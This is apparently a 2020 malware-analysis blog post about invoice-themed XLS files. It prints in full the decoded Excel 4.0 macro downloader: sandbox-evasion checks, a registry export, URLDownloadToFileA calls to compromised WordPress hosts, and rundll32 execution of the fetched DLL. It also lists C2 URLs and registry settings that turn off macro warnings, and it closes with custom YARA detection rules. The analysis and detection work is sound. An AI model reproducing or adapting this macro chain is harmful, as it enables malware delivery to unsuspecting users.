[Custom #YARA ] #XLS #macro based #malware downloader using URLDownloadToFileA

Krishnendu Paul

May 20, 2020 7 min read


Received numbers of sample submission of invoice themed XLS which are not getting detected on VT properly using any reputed Anti Virus engine. There is nothing abnormal happening except it is showing following screen when opened.

Pretty unusual - huh !

So, after finding few sample which is successfully evading anti virus detection, started analyzing it deeper. If you need for of the samples check below, and you know the password :-)

Download here

When try to get / decrypt the Macro, 1stwe failed to decode as it was too much encoded with char() . Later, successfully decoded it and found it is using known but never patched method to exploit and evade using URLDownloadToFileA function in macro. And, to be specific, that is the only IOC which is static on all variants.

OLE Dumped

And decoded the macro successfully.

SET.VALUE(Sheet2!IU50054,"603.5")
GOTO(GC58642)
SET.VALUE(Sheet2!FJ520,"-266")
GOTO(HQ50120)
SET.VALUE(Sheet2!AL37792,"-70.5")
RUN(Sheet2!FT7151)
SET.VALUE(Sheet2!DD20793,"187")
RUN(Sheet2!FE47168)
SET.VALUE(Sheet2!ET28189,"-112")
RUN(Sheet2!BN31589)
SET.VALUE(Sheet2!DA45099,"-233")
RUN(Sheet2!CK5515)
SET.VALUE(Sheet2!CX60873,"38")
RUN(Sheet2!DN30160)
SET.VALUE(Sheet2!IM61116,"-181")
RUN(Sheet2!CR57286)
SET.VALUE(Sheet2!FI55763,"485")
GOTO(BI3343)
SET.VALUE(Sheet2!HU4013,"-392")
RUN(Sheet2!GL24843)
FORMULA.FILL("=CLOSE(FALSE)",Sheet2!AP2874)
RUN(Sheet2!DR50273)
FORMULA.FILL("=APP.MAXIMIZE()",Sheet2!DR50274)
APP.MAXIMIZE()
GOTO(BY60756)
FORMULA.FILL("=IF(GET.WINDOW(7),GOTO(R[-57883]C[-35]),)",Sheet2!BY60757)
IF(GET.WINDOW(7),GOTO(R[-57883]C[-35]),)
[TRUE] GOTO(R[-57883]C[-35])
	CLOSE(FALSE)
[FALSE]
	GOTO(AR17888)
	FORMULA.FILL("=IF(GET.WINDOW(20),,GOTO(R[-15015]C[-2]))",Sheet2!AR17889)
	IF(GET.WINDOW(20),,GOTO(R[-15015]C[-2]))
	[TRUE]
		GOTO(IC38647)
		FORMULA.FILL("=IF(GET.WINDOW(23)<3,GOTO(R[-35774]C[-195]),)",Sheet2!IC38648)
		IF(GET.WINDOW(23)<3,GOTO(R[-35774]C[-195]),)
		[TRUE] GOTO(R[-35774]C[-195])
			CLOSE(FALSE)

		[FALSE]
			GOTO(DL56235)
			FORMULA.FILL("=IF(GET.WORKSPACE(31),GOTO(R[-53362]C[-74]),)",Sheet2!DL56236)
			IF(GET.WORKSPACE(31),GOTO(R[-53362]C[-74]),)
				GOTO(AI42329)
				FORMULA.FILL("=IF(GET.WORKSPACE(13)<770,GOTO(R[-39456]C[7]),)",Sheet2!AI42330)
				IF(GET.WORKSPACE(13)<770,GOTO(R[-39456]C[7]),)
				[TRUE] GOTO(R[-39456]C[7])
					CLOSE(FALSE)
				[FALSE]
					RUN(Sheet2!EC61077)
					FORMULA.FILL("=IF(GET.WORKSPACE(14)<390,GOTO(R[-58204]C[-91]),)",Sheet2!EC61078)
					IF(GET.WORKSPACE(14)<390,GOTO(R[-58204]C[-91]),)
					[TRUE] GOTO(R[-58204]C[-91])
						CLOSE(FALSE)
					[FALSE]
						GOTO(DV56081)
						FORMULA.FILL("=IF(GET.WORKSPACE(19),,GOTO(R[-53208]C[-84]))",Sheet2!DV56082)
						IF(GET.WORKSPACE(19),,GOTO(R[-53208]C[-84]))
							RUN(Sheet2!BF5530)
							FORMULA.FILL("=IF(GET.WORKSPACE(42),,GOTO(R[-2657]C[-16]))",Sheet2!BF5531)
							IF(GET.WORKSPACE(42),,GOTO(R[-2657]C[-16]))
								RUN(Sheet2!BW56518)
								FORMULA.FILL("=IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))),,GOTO(R[-53645]C[-33]))",Sheet2!BW56519)
								IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,GOTO(R[-53645]C[-33]))
									GOTO(BA24640)
									FORMULA.FILL("=""EXPORT HKCU\Software\Microsoft\Office\""",Sheet2!U29297)
									GOTO(GS12483)
									FORMULA.FILL("=""C:\Users\Public\BJQz.reg""",Sheet2!GG13083)
									RUN(Sheet2!IH9923)
									FORMULA.FILL("=R[11185]C[-200]&GET.WORKSPACE(2)&""\Excel\Security ""&R[-5029]C[-32]&"" /y""",Sheet2!HM18112)
									RUN(Sheet2!BE37059)
									FORMULA.FILL("=""C:\Windows\system32\reg.exe""",Sheet2!BR1070)
									GOTO(DX36926)
									FORMULA.FILL("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[-35857]C[-58],R[-18815]C[93],0,5)",Sheet2!DX36927)
									CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open",BR1070,HM18112,0,5)
									GOTO(IL24463)
									FORMULA.FILL("=WHILE(ISERROR(FILES(R[-11383]C[-57])))",Sheet2!IL24466)
									FORMULA.FILL("=WAIT(NOW()+""00:00:01"")",Sheet2!IL24467)
									FORMULA.FILL("=NEXT()",Sheet2!IL24468)
									WHILE(None)
									WAIT(NOW()+"00:00:01")
									NEXT()
									RUN(Sheet2!HF58150)
									FORMULA.FILL("=FOPEN(R[-45068]C[-25])",Sheet2!HF58151)
									FOPEN(None)
									RUN(Sheet2!EA52968)
									FORMULA.FILL("=FPOS(R[5182]C[83],215)",Sheet2!EA52969)
									FPOS(None,215)
									GOTO(IL31788)
									FORMULA.FILL("=FREAD(R[26362]C[-32],255)",Sheet2!IL31789)
									FREAD(None,255)
									RUN(Sheet2!GU34282)
									FORMULA.FILL("=FCLOSE(R[23868]C[11])",Sheet2!GU34283)
									FCLOSE(None)
									GOTO(GD24554)
									FORMULA.FILL("=FILE.DELETE(R[-11472]C[3])",Sheet2!GD24555)
									FILE.DELETE(R[-11472]C[3])
									RUN(Sheet2!AT9255)
									FORMULA.FILL("=IF(ISNUMBER(SEARCH(""0001"",R[22533]C[200])),GOTO(R[-6382]C[-4]),)",Sheet2!AT9256)
									IF(ISNUMBER(SEARCH("0001",R[22533]C[200])),GOTO(R[-6382]C[-4]),)
										RUN(Sheet2!DJ39803)
										FORMULA.FILL("=""C:\Users\Public\dmZKMu9.html""",Sheet2!DG45107)
										RUN(Sheet2!HV56850)
										FORMULA.FILL("=""https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-updates""",Sheet2!ER34659)
										GOTO(Z3253)
										FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[31405]C[122],R[41853]C[85],0,0)",Sheet2!Z3254)
										CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,ER34659,DG45107,0,0)
										GOTO(ES30940)
										FORMULA.FILL("=FILES(R[14166]C[-38])",Sheet2!ES30941)
										FILES(None)
										RUN(Sheet2!FP21816)
										FORMULA.FILL("=IF(ISERROR(R[9124]C[-23]),GOTO(R[-18943]C[-130]),)",Sheet2!FP21817)
										IF(ISERROR(R[9124]C[-23]),GOTO(R[-18943]C[-130]),)
										[TRUE] GOTO(R[-18943]C[-130])
											CLOSE(FALSE)
										[FALSE]
											GOTO(N10779)
											SET.VALUE(Sheet2!FX63533,"1128.75")
											RUN(Sheet2!AD50594)
											SET.VALUE(Sheet2!DB43942,"-352")
											GOTO(DN12209)
											SET.VALUE(Sheet2!FK3415,"-317")
											GOTO(GN54489)
											SET.VALUE(Sheet2!BC60123,"445")
											GOTO(ET21636)
											SET.VALUE(Sheet2!EU1370,"-486")
											GOTO(K28169)
											SET.VALUE(Sheet2!FS12907,"1.4")
											RUN(Sheet2!DT52679)
											SET.VALUE(Sheet2!DY58778,"-369")
											RUN(Sheet2!DV60433)
											SET.VALUE(Sheet2!FY48733,"2822")
											RUN(Sheet2!GZ39514)
											SET.VALUE(Sheet2!K41285,"-365")
											RUN(Sheet2!FB7187)
											SET.VALUE(Sheet2!HF50420,"310")
											RUN(Sheet2!DE25860)
											FORMULA.FILL("=""C:\Users\Public\gcVRxxj.html""",Sheet2!EP42683)
											RUN(Sheet2!AA52168)
											FORMULA.FILL("=""http://almakaaseb.com/wp-content/uploads/2020/05/wp-front.php""",Sheet2!DN14765)
											RUN(Sheet2!AH39400)
											FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-41757]C[-8],R[-13839]C[20],0,0)",Sheet2!DV56522)
											RUN(Sheet2!EB57810)
											FORMULA.FILL("=FILES(R[-20704]C[106])",Sheet2!AN63387)
											GOTO(X6830)
											FORMULA.FILL("=IF(ISERROR(R[35824]C[15]),,RUN(R[6459]C[147]))",Sheet2!Y27563)
											RUN(Sheet2!DX31918)
											FORMULA.FILL("=""https://neebank.com/wp-content/uploads/2020/05/wp-front.php""",Sheet2!IQ9884)
											GOTO(HV20034)
											FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-28492]C[124],R[4307]C[19],0,0)",Sheet2!DW38376)
											GOTO(P41555)
											FORMULA.FILL("=""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.""",Sheet2!EL9811)
											RUN(Sheet2!GJ26109)
											FORMULA.FILL("=ALERT(R[-24211]C[-30])",Sheet2!FP34022)
											RUN(Sheet2!BW52793)
											FORMULA.FILL("=""C:\Windows\system32\rundll32.exe""",Sheet2!FK44585)
											GOTO(HP32700)
											FORMULA.FILL("=R[18663]C[27]&"",DllRegisterServer""",Sheet2!DO24020)
											RUN(Sheet2!GX50702)
											FORMULA.FILL("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[-8436]C[-54],R[-29001]C[-102],0,5)",Sheet2!HM53021)
											RUN(Sheet2!DV56522)
											CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,DN14765,EP42683,0,0)
											GOTO(AN63387)
											FILES(None)
											GOTO(Y27563)
											IF(ISERROR(R[35824]C[15]),,RUN(R[6459]C[147]))
											[TRUE]
												GOTO(IQ9884)
												"https://neebank.com/wp-content/uploads/2020/05/wp-front.php"
												GOTO(DW38376)
												CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"""https://neebank.com/wp-content/uploads/2020/05/wp-front.php""",EP42683,0,0)
												GOTO(EL9811)
												"The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."
												GOTO(FP34022)
												ALERT("""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.""")
												RUN(Sheet2!FK44585)
												"C:\Windows\system32\rundll32.exe"
												GOTO(DO24020)
												EP42683,DllRegisterServer
												GOTO(HM53021)
												CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","""C:\Windows\system32\rundll32.exe""","EP42683,DllRegisterServer",0,5)
												GOTO(AP2874)
												CLOSE(FALSE)
											[FALSE] RUN(Sheet2!FP34022)
												ALERT(None)
												RUN(Sheet2!FK44585)
												"C:\Windows\system32\rundll32.exe"
												GOTO(DO24020)
												EP42683,DllRegisterServer
												GOTO(HM53021)
												CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","""C:\Windows\system32\rundll32.exe""","EP42683,DllRegisterServer",0,5)
												GOTO(AP2874)
												CLOSE(FALSE)
	[FALSE] GOTO(R[-15015]C[-2])
		CLOSE(FALSE)

Quite big and boring - but really interesting. So, once macro enabled, it is executing reg.exe and adding entry to windows registry

Process created: C:\Windows\SysWOW64\reg.exe C:\Windows\SysWOW64\reg.exe EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\5Gqo.reg /y

Following Entry added to Registry ( More still under analysis )

Windows Registry Editor Version 500
[HKEY_CURRENT_USER\Software\Microsoft\Office\140\Excel\Security]
"Level"=dword:00000000"
AccessVBOM"=dword:00000000
"VBAWarnings"=dword:00000000
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000000
"DataConnectionWarnings"=dword:00000000
"WorkbookLinkWarnings"=dword:00000000
"ExtensionHardening"=dword:00000000
"PackagerPrompt"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Office\140\Excel\Security\filevalidation]
"Enable"=On

On the most samples I found - It is connecting with following 2 URLs till now, but numbers are increasing rapidly. Seems those are hacked WordPress websites.

https://lifeprimary[.]site/wp-keys[.]php
https://luckystatus[.]com/wp-keys[.]php
Remove [] , you know the drill

Till now, it is acting as Evader and Exploiter. And as stated, not detected as virus at all by any AV engine. Once queries those sites, from those php files, a DLL file getting pushed. And, from the behavior what we understood, it is depending on the threat actor – which malware / backdoor they want to deliver as payload for persistent access and data dump. We found 2 of the dll files after analyzing few variants. But seems - it is more of Malware as a Service model, as all new samples coming with different compromised host and different malware behind it.

In few cased - seems they are using ZLOADER , but it is different on different cases.

There are increasing numbers of those kind of XLS files worldwide, seems a new wave of attack launched.

Testing a custom yara rules as I came up with some patterns.

[UPDATE] Yara rule testing is done . My yara rule is working well with present variant, whereas reputated AV on VirusTotal still not able to detect it. Microsoft published an advance hunting query for one variant on their blog, but that is more SHA value based - didn't like it personally. So, here is mine .

//  Excel files with macros pushing registry and downloading malware
rule macro_downloader_v1
{
meta:
	author = "Krishnendu Paul"
	description = "Malware Pushing XLS detection May 2020 Stage 1"
    strings:
	$ole_marker	= {D0 CF 11 E0 A1 B1 1A E1}
	$meta_author	= "Administrator" 
	$meta_app	= "Excel"
	$macro_s1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
	$macro_s2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}
    
condition:
      $ole_marker at 0 and 1 of ($macro_s*) and all of ($meta_*) and filesize < 300000
}

rule macro_downloader_v2 //Stage 2 and 3 variants
{
meta:
	author = "Krishnendu Paul"
	description = "Malware Pushing XLS detection May 2020"
    strings:
    	$meta_value1 =	"##0\\)"
    	$meta_author	= "Administrator"
		$meta_app	= "Excel"
 
condition:
	 all of ($meta_*) and filesize < 300000
}

Hope it helps.



Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.